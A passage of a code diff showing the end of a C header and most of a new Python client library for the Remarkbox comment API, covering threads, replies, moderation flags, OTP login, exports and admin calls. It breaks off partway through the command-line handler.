|
||||||
|
|
||||||
|
rb_response_t rb_get_node(rb_client_t *c, const char *node_id)
|
||||||
|
{
|
||||||
|
char path[RB_MAX_URI];
|
||||||
|
snprintf(path, sizeof(path), "/api/v1/nodes/%s", node_id);
|
||||||
|
return rb__request(c, "GET", path, NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_response_t rb_edit_node(rb_client_t *c, const char *node_id, const char *data)
|
||||||
|
{
|
||||||
|
char path[RB_MAX_URI], body[RB_MAX_BODY], edata[524288];
|
||||||
|
rb_json_escape(data, edata, sizeof(edata));
|
||||||
|
snprintf(path, sizeof(path), "/api/v1/nodes/%s", node_id);
|
||||||
|
snprintf(body, sizeof(body), "{\"data\":\"%s\"}", edata);
|
||||||
|
return rb__request(c, "PATCH", path, body, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
static rb_response_t rb__mod_flag(rb_client_t *c, const char *node_id,
|
||||||
|
const char *field, const char *value)
|
||||||
|
{
|
||||||
|
char path[RB_MAX_URI], body[256];
|
||||||
|
snprintf(path, sizeof(path), "/api/v1/nodes/%s", node_id);
|
||||||
|
snprintf(body, sizeof(body), "{\"%s\":%s}", field, value);
|
||||||
|
return rb__request(c, "PATCH", path, body, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_response_t rb_disable_node(rb_client_t *c, const char *id) { return rb__mod_flag(c, id, "disabled", "true"); }
|
||||||
|
rb_response_t rb_enable_node(rb_client_t *c, const char *id) { return rb__mod_flag(c, id, "disabled", "false"); }
|
||||||
|
rb_response_t rb_approve_node(rb_client_t *c, const char *id) { return rb__mod_flag(c, id, "approved", "true"); }
|
||||||
|
rb_response_t rb_lock_node(rb_client_t *c, const char *id) { return rb__mod_flag(c, id, "locked", "true"); }
|
||||||
|
rb_response_t rb_unlock_node(rb_client_t *c, const char *id) { return rb__mod_flag(c, id, "locked", "false"); }
|
||||||
|
|
||||||
|
rb_response_t rb_delete_node(rb_client_t *c, const char *node_id)
|
||||||
|
{
|
||||||
|
char path[RB_MAX_URI];
|
||||||
|
snprintf(path, sizeof(path), "/api/v1/nodes/%s", node_id);
|
||||||
|
return rb__request(c, "DELETE", path, NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_response_t rb_login(rb_client_t *c, const char *email)
|
||||||
|
{
|
||||||
|
char body[512], eemail[256];
|
||||||
|
rb_json_escape(email, eemail, sizeof(eemail));
|
||||||
|
snprintf(body, sizeof(body), "{\"email\":\"%s\"}", eemail);
|
||||||
|
return rb__request(c, "POST", "/api/v1/auth/login", body, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_response_t rb_verify(rb_client_t *c, const char *email, const char *otp)
|
||||||
|
{
|
||||||
|
char body[512], eemail[256], eotp[64];
|
||||||
|
rb_json_escape(email, eemail, sizeof(eemail));
|
||||||
|
rb_json_escape(otp, eotp, sizeof(eotp));
|
||||||
|
snprintf(body, sizeof(body), "{\"email\":\"%s\",\"otp\":\"%s\"}", eemail, eotp);
|
||||||
|
return rb__request(c, "POST", "/api/v1/auth/verify", body, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_response_t rb_get_profile(rb_client_t *c)
|
||||||
|
{
|
||||||
|
return rb__request(c, "GET", "/api/v1/user/profile", NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* RB_IMPLEMENTATION */
|
||||||
|
#endif /* RB_H */
|
||||||
732
remarkbox/api/remarkbox_client.py
Normal file
|
|
@ -0,0 +1,732 @@
|
||||||
|
"""
|
||||||
|
Remarkbox API Client (Python, stdlib only)
|
||||||
|
|
||||||
|
Download:
|
||||||
|
curl -s https://REMARKBOX/api/v1/clients/python -o remarkbox_client.py
|
||||||
|
wget -q https://REMARKBOX/api/v1/clients/python -O remarkbox_client.py
|
||||||
|
|
||||||
|
Quick start:
|
||||||
|
from remarkbox_client import RemarkboxClient
|
||||||
|
|
||||||
|
client = RemarkboxClient("https://my.remarkbox.com")
|
||||||
|
|
||||||
|
# List threads
|
||||||
|
result = client.list_threads("meta.remarkbox.com")
|
||||||
|
for thread in result["threads"]:
|
||||||
|
print(thread["title"])
|
||||||
|
|
||||||
|
# Read a thread and its replies
|
||||||
|
thread = client.get_thread(thread_id)
|
||||||
|
for reply in thread["replies"]:
|
||||||
|
print(reply["data"])
|
||||||
|
|
||||||
|
# Post anonymously (namespace must allow anonymous)
|
||||||
|
node = client.create_thread(
|
||||||
|
namespace="meta.remarkbox.com",
|
||||||
|
title="Hello from Python",
|
||||||
|
data="This is a test post.",
|
||||||
|
anonymous_name="MyBot",
|
||||||
|
)
|
||||||
|
|
||||||
|
# Reply to a thread
|
||||||
|
reply = client.reply(node["node"]["id"], data="Nice thread!")
|
||||||
|
|
||||||
|
# Authenticate via email OTP
|
||||||
|
client.login("agent@example.com")
|
||||||
|
# ... check inbox for 6-digit code ...
|
||||||
|
client.verify("agent@example.com", "123456")
|
||||||
|
|
||||||
|
# Now requests are authenticated
|
||||||
|
thread = client.create_thread(
|
||||||
|
namespace="meta.remarkbox.com",
|
||||||
|
title="Verified post",
|
||||||
|
data="Posted with a session.",
|
||||||
|
)
|
||||||
|
|
||||||
|
# Edit your own post
|
||||||
|
client.edit_node(thread["node"]["id"], data="Updated content.")
|
||||||
|
|
||||||
|
Configuration:
|
||||||
|
# From arguments (highest priority)
|
||||||
|
client = RemarkboxClient("https://my.remarkbox.com")
|
||||||
|
|
||||||
|
# From environment variables
|
||||||
|
# REMARKBOX_URL=https://my.remarkbox.com
|
||||||
|
# REMARKBOX_EMAIL=agent@example.com
|
||||||
|
client = RemarkboxClient.from_env()
|
||||||
|
|
||||||
|
# From config file (~/.config/remarkbox/config.json)
|
||||||
|
# {"url": "https://my.remarkbox.com", "email": "agent@example.com"}
|
||||||
|
client = RemarkboxClient.from_config()
|
||||||
|
|
||||||
|
Requires: Python 3.6+ (stdlib only, no pip install needed)
|
||||||
|
License: Same as Remarkbox
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import http.cookiejar
|
||||||
|
import urllib.request
|
||||||
|
import urllib.error
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
|
|
||||||
|
__version__ = "0.1.0"
|
||||||
|
|
||||||
|
|
||||||
|
class RemarkboxError(Exception):
|
||||||
|
"""Raised when the API returns an error response."""
|
||||||
|
|
||||||
|
def __init__(self, status, body):
|
||||||
|
self.status = status
|
||||||
|
self.body = body
|
||||||
|
msg = body.get("error", str(body)) if isinstance(body, dict) else str(body)
|
||||||
|
super().__init__("HTTP {}: {}".format(status, msg))
|
||||||
|
|
||||||
|
|
||||||
|
class RemarkboxClient:
|
||||||
|
"""Remarkbox API client. Manages sessions via cookies automatically."""
|
||||||
|
|
||||||
|
def __init__(self, url, email=None, cookie_file=None):
|
||||||
|
"""
|
||||||
|
Args:
|
||||||
|
url: Base URL of the Remarkbox instance (e.g. https://my.remarkbox.com)
|
||||||
|
email: Optional default email for login/verify
|
||||||
|
cookie_file: Optional path to persist session cookies across runs.
|
||||||
|
If provided, cookies are loaded on init and saved
|
||||||
|
after login/verify. Use this to stay logged in.
|
||||||
|
"""
|
||||||
|
self.url = url.rstrip("/")
|
||||||
|
self.email = email
|
||||||
|
self._cookie_file = cookie_file
|
||||||
|
if cookie_file:
|
||||||
|
self._cookie_jar = http.cookiejar.MozillaCookieJar(cookie_file)
|
||||||
|
if os.path.exists(cookie_file):
|
||||||
|
self._cookie_jar.load(ignore_discard=True, ignore_expires=True)
|
||||||
|
else:
|
||||||
|
self._cookie_jar = http.cookiejar.CookieJar()
|
||||||
|
self._opener = urllib.request.build_opener(
|
||||||
|
urllib.request.HTTPCookieProcessor(self._cookie_jar)
|
||||||
|
)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_env(cls):
|
||||||
|
"""Create client from environment variables.
|
||||||
|
|
||||||
|
Reads:
|
||||||
|
REMARKBOX_URL (required)
|
||||||
|
REMARKBOX_EMAIL (optional)
|
||||||
|
"""
|
||||||
|
url = os.environ.get("REMARKBOX_URL")
|
||||||
|
if not url:
|
||||||
|
raise RemarkboxError(0, {"error": "REMARKBOX_URL environment variable not set"})
|
||||||
|
email = os.environ.get("REMARKBOX_EMAIL")
|
||||||
|
return cls(url, email=email)
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_config(cls, path=None):
|
||||||
|
"""Create client from a JSON config file.
|
||||||
|
|
||||||
|
Default path: ~/.config/remarkbox/config.json
|
||||||
|
|
||||||
|
Config format:
|
||||||
|
{"url": "https://my.remarkbox.com", "email": "agent@example.com"}
|
||||||
|
"""
|
||||||
|
if path is None:
|
||||||
|
path = os.path.join(
|
||||||
|
os.path.expanduser("~"), ".config", "remarkbox", "config.json"
|
||||||
|
)
|
||||||
|
with open(path) as f:
|
||||||
|
config = json.load(f)
|
||||||
|
url = config.get("url")
|
||||||
|
if not url:
|
||||||
|
raise RemarkboxError(0, {"error": "url is required in config file"})
|
||||||
|
return cls(url, email=config.get("email"), cookie_file=config.get("cookie_file"))
|
||||||
|
|
||||||
|
def _save_cookies(self):
|
||||||
|
"""Persist cookies to disk if cookie_file was provided."""
|
||||||
|
if self._cookie_file and hasattr(self._cookie_jar, "save"):
|
||||||
|
self._cookie_jar.save(ignore_discard=True, ignore_expires=True)
|
||||||
|
|
||||||
|
def _request(self, method, path, body=None, headers=None):
|
||||||
|
"""Make an HTTP request and return parsed JSON."""
|
||||||
|
url = self.url + path
|
||||||
|
data = None
|
||||||
|
_headers = {}
|
||||||
|
|
||||||
|
if body is not None:
|
||||||
|
data = json.dumps(body).encode("utf-8")
|
||||||
|
_headers["Content-Type"] = "application/json"
|
||||||
|
|
||||||
|
if headers:
|
||||||
|
_headers.update(headers)
|
||||||
|
|
||||||
|
req = urllib.request.Request(url, data=data, headers=_headers, method=method)
|
||||||
|
|
||||||
|
try:
|
||||||
|
resp = self._opener.open(req)
|
||||||
|
raw = resp.read().decode("utf-8")
|
||||||
|
try:
|
||||||
|
return json.loads(raw) if raw else {}
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
raise RemarkboxError(resp.status, {"error": "Non-JSON response"})
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
raw = e.read().decode("utf-8")
|
||||||
|
try:
|
||||||
|
body = json.loads(raw)
|
||||||
|
except Exception:
|
||||||
|
body = {"error": raw}
|
||||||
|
raise RemarkboxError(e.code, body)
|
||||||
|
|
||||||
|
# ----- Version -----
|
||||||
|
|
||||||
|
def version(self):
|
||||||
|
"""Get the deployed version (git commit hash).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: version
|
||||||
|
"""
|
||||||
|
return self._request("GET", "/api/v1/version")
|
||||||
|
|
||||||
|
# ----- Threads -----
|
||||||
|
|
||||||
|
def list_threads(self, namespace, page=1):
|
||||||
|
"""List threads in a namespace.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
namespace: The namespace name (e.g. "meta.remarkbox.com")
|
||||||
|
page: Page number (default 1)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: namespace, threads, page, page_size
|
||||||
|
"""
|
||||||
|
params = urllib.parse.urlencode({"namespace": namespace, "page": page})
|
||||||
|
return self._request("GET", "/api/v1/threads?" + params)
|
||||||
|
|
||||||
|
def get_thread(self, node_id, limit=None, offset=None):
|
||||||
|
"""Get a thread and its replies (paginated).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the root thread node
|
||||||
|
limit: Maximum replies to return (default 100, max 500)
|
||||||
|
offset: Number of replies to skip (default 0)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: namespace, thread, replies, total_replies,
|
||||||
|
page, limit, offset, has_more
|
||||||
|
"""
|
||||||
|
params = {}
|
||||||
|
if limit is not None:
|
||||||
|
params["limit"] = limit
|
||||||
|
if offset is not None:
|
||||||
|
params["offset"] = offset
|
||||||
|
path = "/api/v1/threads/{}".format(node_id)
|
||||||
|
if params:
|
||||||
|
path += "?" + urllib.parse.urlencode(params)
|
||||||
|
return self._request("GET", path)
|
||||||
|
|
||||||
|
def create_thread(self, namespace, title, data, anonymous_name=None, email=None,
|
||||||
|
source_format=None):
|
||||||
|
"""Create a new thread.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
namespace: Target namespace name
|
||||||
|
title: Thread title
|
||||||
|
data: Content (max 500000 chars)
|
||||||
|
anonymous_name: Name for anonymous posting (optional)
|
||||||
|
email: Email to associate with post (optional)
|
||||||
|
source_format: Input format — markdown (default), html, rst,
|
||||||
|
mediawiki, latex, textile, org, etc. (any pandoc input format)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: node, verified
|
||||||
|
"""
|
||||||
|
body = {"namespace": namespace, "title": title, "data": data}
|
||||||
|
if anonymous_name:
|
||||||
|
body["anonymous_name"] = anonymous_name
|
||||||
|
if email:
|
||||||
|
body["email"] = email
|
||||||
|
if source_format:
|
||||||
|
body["source_format"] = source_format
|
||||||
|
return self._request("POST", "/api/v1/threads", body)
|
||||||
|
|
||||||
|
# ----- Replies -----
|
||||||
|
|
||||||
|
def reply(self, node_id, data, anonymous_name=None, email=None, source_format=None):
|
||||||
|
"""Reply to a thread or another reply.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the parent node (thread or reply)
|
||||||
|
data: Content (max 500000 chars)
|
||||||
|
anonymous_name: Name for anonymous posting (optional)
|
||||||
|
email: Email to associate with post (optional)
|
||||||
|
source_format: Input format (default: markdown)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: node, verified
|
||||||
|
"""
|
||||||
|
body = {"data": data}
|
||||||
|
if anonymous_name:
|
||||||
|
body["anonymous_name"] = anonymous_name
|
||||||
|
if email:
|
||||||
|
body["email"] = email
|
||||||
|
if source_format:
|
||||||
|
body["source_format"] = source_format
|
||||||
|
return self._request("POST", "/api/v1/threads/{}/replies".format(node_id), body)
|
||||||
|
|
||||||
|
# ----- Nodes -----
|
||||||
|
|
||||||
|
def get_node(self, node_id):
|
||||||
|
"""Get a single node by ID.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the node
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: node
|
||||||
|
"""
|
||||||
|
return self._request("GET", "/api/v1/nodes/{}".format(node_id))
|
||||||
|
|
||||||
|
def edit_node(self, node_id, data=None, title=None, source_format=None):
|
||||||
|
"""Edit a node (requires authentication).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the node to edit
|
||||||
|
data: New content (optional)
|
||||||
|
title: New title, only for root nodes (optional)
|
||||||
|
source_format: Input format (default: markdown)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: node
|
||||||
|
"""
|
||||||
|
body = {}
|
||||||
|
if data is not None:
|
||||||
|
body["data"] = data
|
||||||
|
if title is not None:
|
||||||
|
body["title"] = title
|
||||||
|
if source_format is not None:
|
||||||
|
body["source_format"] = source_format
|
||||||
|
if not body:
|
||||||
|
raise ValueError("data or title is required")
|
||||||
|
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), body)
|
||||||
|
|
||||||
|
def disable_node(self, node_id):
|
||||||
|
"""Disable a node (requires authentication, moderator or owner).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the node to disable
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: node
|
||||||
|
"""
|
||||||
|
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), {"disabled": True})
|
||||||
|
|
||||||
|
def enable_node(self, node_id):
|
||||||
|
"""Enable a previously disabled node (requires authentication, moderator or owner).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the node to enable
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: node
|
||||||
|
"""
|
||||||
|
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), {"disabled": False})
|
||||||
|
|
||||||
|
def approve_node(self, node_id):
|
||||||
|
"""Approve a node (requires authentication, moderator or owner).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the node to approve
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: node
|
||||||
|
"""
|
||||||
|
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), {"approved": True})
|
||||||
|
|
||||||
|
def lock_node(self, node_id):
|
||||||
|
"""Lock a thread (requires authentication, moderator or owner). Root nodes only.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the root node to lock
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: node
|
||||||
|
"""
|
||||||
|
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), {"locked": True})
|
||||||
|
|
||||||
|
def unlock_node(self, node_id):
|
||||||
|
"""Unlock a thread (requires authentication, moderator or owner). Root nodes only.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the root node to unlock
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: node
|
||||||
|
"""
|
||||||
|
return self._request("PATCH", "/api/v1/nodes/{}".format(node_id), {"locked": False})
|
||||||
|
|
||||||
|
def delete_node(self, node_id, sudo_otp=None):
|
||||||
|
"""Delete a node permanently (requires moderator + sudo OTP).
|
||||||
|
|
||||||
|
First call without sudo_otp returns 202 and emails a code.
|
||||||
|
Second call with the code performs the deletion.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the node to delete
|
||||||
|
sudo_otp: 8-digit confirmation code from email (optional)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: deleted (the node ID), or status/message if OTP required
|
||||||
|
"""
|
||||||
|
headers = {}
|
||||||
|
if sudo_otp:
|
||||||
|
headers["X-Sudo-OTP"] = sudo_otp
|
||||||
|
return self._request("DELETE", "/api/v1/nodes/{}".format(node_id), headers=headers)
|
||||||
|
|
||||||
|
# ----- Auth -----
|
||||||
|
|
||||||
|
def login(self, email=None):
|
||||||
|
"""Request an OTP code be sent to the email address.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
email: Email address (uses self.email if not provided)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: status, message
|
||||||
|
"""
|
||||||
|
email = email or self.email
|
||||||
|
if not email:
|
||||||
|
raise ValueError("email is required")
|
||||||
|
return self._request("POST", "/api/v1/auth/login", {"email": email})
|
||||||
|
|
||||||
|
def verify(self, email=None, otp=None):
|
||||||
|
"""Verify an OTP code and establish an authenticated session.
|
||||||
|
|
||||||
|
After calling this, subsequent requests are authenticated
|
||||||
|
via the session cookie (managed automatically).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
email: Email address (uses self.email if not provided)
|
||||||
|
otp: The 6-digit verification code from email
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: status, user
|
||||||
|
"""
|
||||||
|
email = email or self.email
|
||||||
|
if not email:
|
||||||
|
raise ValueError("email is required")
|
||||||
|
if not otp:
|
||||||
|
raise ValueError("otp is required")
|
||||||
|
result = self._request("POST", "/api/v1/auth/verify", {"email": email, "otp": otp})
|
||||||
|
self._save_cookies()
|
||||||
|
return result
|
||||||
|
|
||||||
|
# ----- Profile -----
|
||||||
|
|
||||||
|
def get_profile(self):
|
||||||
|
"""Get the current authenticated user's profile.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: user (id, name, email)
|
||||||
|
"""
|
||||||
|
return self._request("GET", "/api/v1/user/profile")
|
||||||
|
|
||||||
|
def update_profile(self, name):
|
||||||
|
"""Update the current user's display name.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: New display name (alphanumeric and dashes only)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: user (id, name, email)
|
||||||
|
"""
|
||||||
|
return self._request("PATCH", "/api/v1/user/profile", {"name": name})
|
||||||
|
|
||||||
|
# ----- Export -----
|
||||||
|
|
||||||
|
def export_formats(self):
|
||||||
|
"""List all available export formats.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: formats (list of strings), count
|
||||||
|
"""
|
||||||
|
return self._request("GET", "/api/v1/export/formats")
|
||||||
|
|
||||||
|
def export_thread(self, node_id, fmt="markdown"):
|
||||||
|
"""Export a thread in the specified format.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the root thread node
|
||||||
|
fmt: Pandoc output format (e.g. markdown, html5, pdf, epub, docx)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bytes (binary formats) or str (text formats)
|
||||||
|
"""
|
||||||
|
return self._raw_request(
|
||||||
|
"GET", "/api/v1/export/threads/{}.{}".format(node_id, fmt)
|
||||||
|
)
|
||||||
|
|
||||||
|
def export_namespace(self, namespace, fmt="markdown"):
|
||||||
|
"""Export an entire namespace as a book in the specified format.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
namespace: Namespace name (e.g. "meta.remarkbox.com")
|
||||||
|
fmt: Pandoc output format
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bytes (binary formats) or str (text formats)
|
||||||
|
"""
|
||||||
|
return self._raw_request(
|
||||||
|
"GET", "/api/v1/export/namespace/{}.{}".format(namespace, fmt)
|
||||||
|
)
|
||||||
|
|
||||||
|
def export_node(self, node_id, fmt="markdown"):
|
||||||
|
"""Export a node and its subtree in the specified format (on-demand).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the node
|
||||||
|
fmt: Pandoc output format
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bytes (binary formats) or str (text formats)
|
||||||
|
"""
|
||||||
|
return self._raw_request(
|
||||||
|
"GET", "/api/v1/export/nodes/{}.{}".format(node_id, fmt)
|
||||||
|
)
|
||||||
|
|
||||||
|
def _raw_request(self, method, path):
|
||||||
|
"""Make an HTTP request and return raw response body."""
|
||||||
|
url = self.url + path
|
||||||
|
req = urllib.request.Request(url, method=method)
|
||||||
|
try:
|
||||||
|
resp = self._opener.open(req)
|
||||||
|
content_type = resp.headers.get("Content-Type", "")
|
||||||
|
body = resp.read()
|
||||||
|
if "text/" in content_type or "json" in content_type or "xml" in content_type:
|
||||||
|
return body.decode("utf-8")
|
||||||
|
return body
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
raw = e.read().decode("utf-8")
|
||||||
|
try:
|
||||||
|
body = json.loads(raw)
|
||||||
|
except Exception:
|
||||||
|
body = {"error": raw}
|
||||||
|
raise RemarkboxError(e.code, body)
|
||||||
|
|
||||||
|
# ----- Wiki / Revisions -----
|
||||||
|
|
||||||
|
def wiki_edit(self, node_id, data, source_format=None):
|
||||||
|
"""Wiki-edit a node (creates revision, any authenticated user if wiki mode).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the node to edit
|
||||||
|
data: New content
|
||||||
|
source_format: Input format (default: markdown)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: node
|
||||||
|
"""
|
||||||
|
body = {"data": data}
|
||||||
|
if source_format:
|
||||||
|
body["source_format"] = source_format
|
||||||
|
return self._request("POST", "/api/v1/nodes/{}/wiki-edit".format(node_id), body)
|
||||||
|
|
||||||
|
def get_revisions(self, node_id):
|
||||||
|
"""Get revision history for a node.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
node_id: UUID of the node
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: node_id, revisions, count
|
||||||
|
"""
|
||||||
|
return self._request("GET", "/api/v1/nodes/{}/revisions".format(node_id))
|
||||||
|
|
||||||
|
def get_revision(self, revision_id):
|
||||||
|
"""Get a specific revision by ID.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
revision_id: UUID of the revision
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: revision
|
||||||
|
"""
|
||||||
|
return self._request("GET", "/api/v1/revisions/{}".format(revision_id))
|
||||||
|
|
||||||
|
def diff_revisions(self, revision_id, other_id):
|
||||||
|
"""Compare two revisions of the same node via unified diff.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
revision_id: UUID of the first (from) revision
|
||||||
|
other_id: UUID of the second (to) revision
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: from_revision, to_revision, from_number,
|
||||||
|
to_number, node_id, diff
|
||||||
|
"""
|
||||||
|
return self._request(
|
||||||
|
"GET", "/api/v1/revisions/{}/diff/{}".format(revision_id, other_id)
|
||||||
|
)
|
||||||
|
|
||||||
|
# ----- Themes -----
|
||||||
|
|
||||||
|
def get_theme_css(self, namespace):
|
||||||
|
"""Get the auto-generated theme CSS for a namespace.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
namespace: Namespace name
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
CSS string
|
||||||
|
"""
|
||||||
|
return self._raw_request(
|
||||||
|
"GET", "/api/v1/themes/{}/css".format(namespace)
|
||||||
|
)
|
||||||
|
|
||||||
|
def get_theme_preview(self, namespace):
|
||||||
|
"""Get theme palette preview for a namespace.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
namespace: Namespace name
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: namespace, palette, css_url
|
||||||
|
"""
|
||||||
|
return self._request(
|
||||||
|
"GET", "/api/v1/themes/{}/preview".format(namespace)
|
||||||
|
)
|
||||||
|
|
||||||
|
# ----- Admin (superuser only) -----
|
||||||
|
|
||||||
|
def admin_list_namespaces(self):
|
||||||
|
"""List all namespaces (requires superuser).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with key: namespaces (list of namespace dicts)
|
||||||
|
"""
|
||||||
|
return self._request("GET", "/api/v1/admin/namespaces")
|
||||||
|
|
||||||
|
def admin_recent_nodes(self, days=7, limit=100):
|
||||||
|
"""List recent nodes across all namespaces (requires superuser).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
days: Number of days to look back (default 7, max 90)
|
||||||
|
limit: Max results (default 100, max 500)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with keys: days, count, nodes
|
||||||
|
"""
|
||||||
|
params = urllib.parse.urlencode({"days": days, "limit": limit})
|
||||||
|
return self._request("GET", "/api/v1/admin/recent-nodes?" + params)
|
||||||
|
|
||||||
|
|
||||||
|
# ----- CLI -----
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""Simple CLI for quick testing."""
|
||||||
|
import sys
|
||||||
|
|
||||||
|
usage = """Usage: python remarkbox_client.py <url> <command> [args...]
|
||||||
|
|
||||||
|
Commands:
|
||||||
|
threads <namespace> List threads
|
||||||
|
thread <node_id> Get thread with replies
|
||||||
|
node <node_id> Get a single node
|
||||||
|
post <namespace> <title> <data> [name] Create thread (anonymous)
|
||||||
|
reply <node_id> <data> [name] Reply to thread (anonymous)
|
||||||
|
disable <node_id> Disable a node (auth required)
|
||||||
|
enable <node_id> Enable a node (auth required)
|
||||||
|
approve <node_id> Approve a node (auth required)
|
||||||
|
lock <node_id> Lock a thread (auth required)
|
||||||
|
unlock <node_id> Unlock a thread (auth required)
|
||||||
|
delete <node_id> Delete a node (moderator only)
|
||||||
|
login <email> Request OTP
|
||||||
|
verify <email> <otp> Verify OTP
|
||||||
|
formats List export formats
|
||||||
|
export-thread <node_id> [format] Export thread (default: markdown)
|
||||||
|
export-ns <namespace> [format] Export namespace as book
|
||||||
|
export-node <node_id> [format] Export node subtree
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
python remarkbox_client.py https://my.remarkbox.com threads meta.remarkbox.com
|
||||||
|
python remarkbox_client.py https://my.remarkbox.com export-ns meta.remarkbox.com epub
|
||||||
|
python remarkbox_client.py https://my.remarkbox.com export-thread <node_id> pdf
|
||||||
|
"""
|
||||||
|
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print(usage)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
url = sys.argv[1]
|
||||||
|
cmd = sys.argv[2]
|
||||||
|
args = sys.argv[3:]
|
||||||
|
client = RemarkboxClient(url)
|
||||||
|
|
||||||
|
try:
|
||||||
|
if cmd == "threads" and len(args) >= 1:
|
||||||
|
result = client.list_threads(args[0])
|
||||||
|
elif cmd == "thread" and len(args) >= 1:
|
||||||
|
result = client.get_thread(args[0])
|
||||||
|
elif cmd == "node" and len(args) >= 1:
|
||||||
|
result = client.get_node(args[0])
|
||||||
|
elif cmd == "post" and len(args) >= 3:
|
||||||
|
name = args[3] if len(args) > 3 else None
|
||||||
|
result = client.create_thread(args[0], args[1], args[2], anonymous_name=name)
|
||||||
|
elif cmd == "reply" and len(args) >= 2:
|
||||||
|
name = args[2] if len(args) > 2 else None
|
||||||
|
result = client.reply(args[0], args[1], anonymous_name=name)
|
||||||
|
elif cmd == "disable" and len(args) >= 1:
|
||||||
|
result = client.disable_node(args[0])
|
||||||
|
elif cmd == "enable" and len(args) >= 1:
|
||||||
|
result = client.enable_node(args[0])
|
||||||
|
elif cmd == "approve" and len(args) >= 1:
|
||||||
|
result = client.approve_node(args[0])
|
||||||
|
elif cmd == "lock" and len(args) >= 1:
|
||||||
|
result = client.lock_node(args[0])
|
||||||
|
elif cmd == "unlock" and len(args) >= 1:
|
||||||
|
result = client.unlock_node(args[0])
|
||||||
|
elif cmd == "delete" and len(args) >= 1:
|
||||||
|
result = client.delete_node(args[0])
|
||||||
|
elif cmd == "login" and len(args) >= 1:
|
||||||
|
result = client.login(args[0])
|
||||||
|
elif cmd == "verify" and len(args) >= 2:
|
||||||
|
result = client.verify(args[0], args[1])
|
||||||
|
elif cmd == "formats":
|
||||||
|
result = client.export_formats()
|
||||||
|
elif cmd == "export-thread" and len(args) >= 1:
|
||||||
|
fmt = args[1] if len(args) > 1 else "markdown"
|
||||||
|
output = client.export_thread(args[0], fmt)
|
||||||
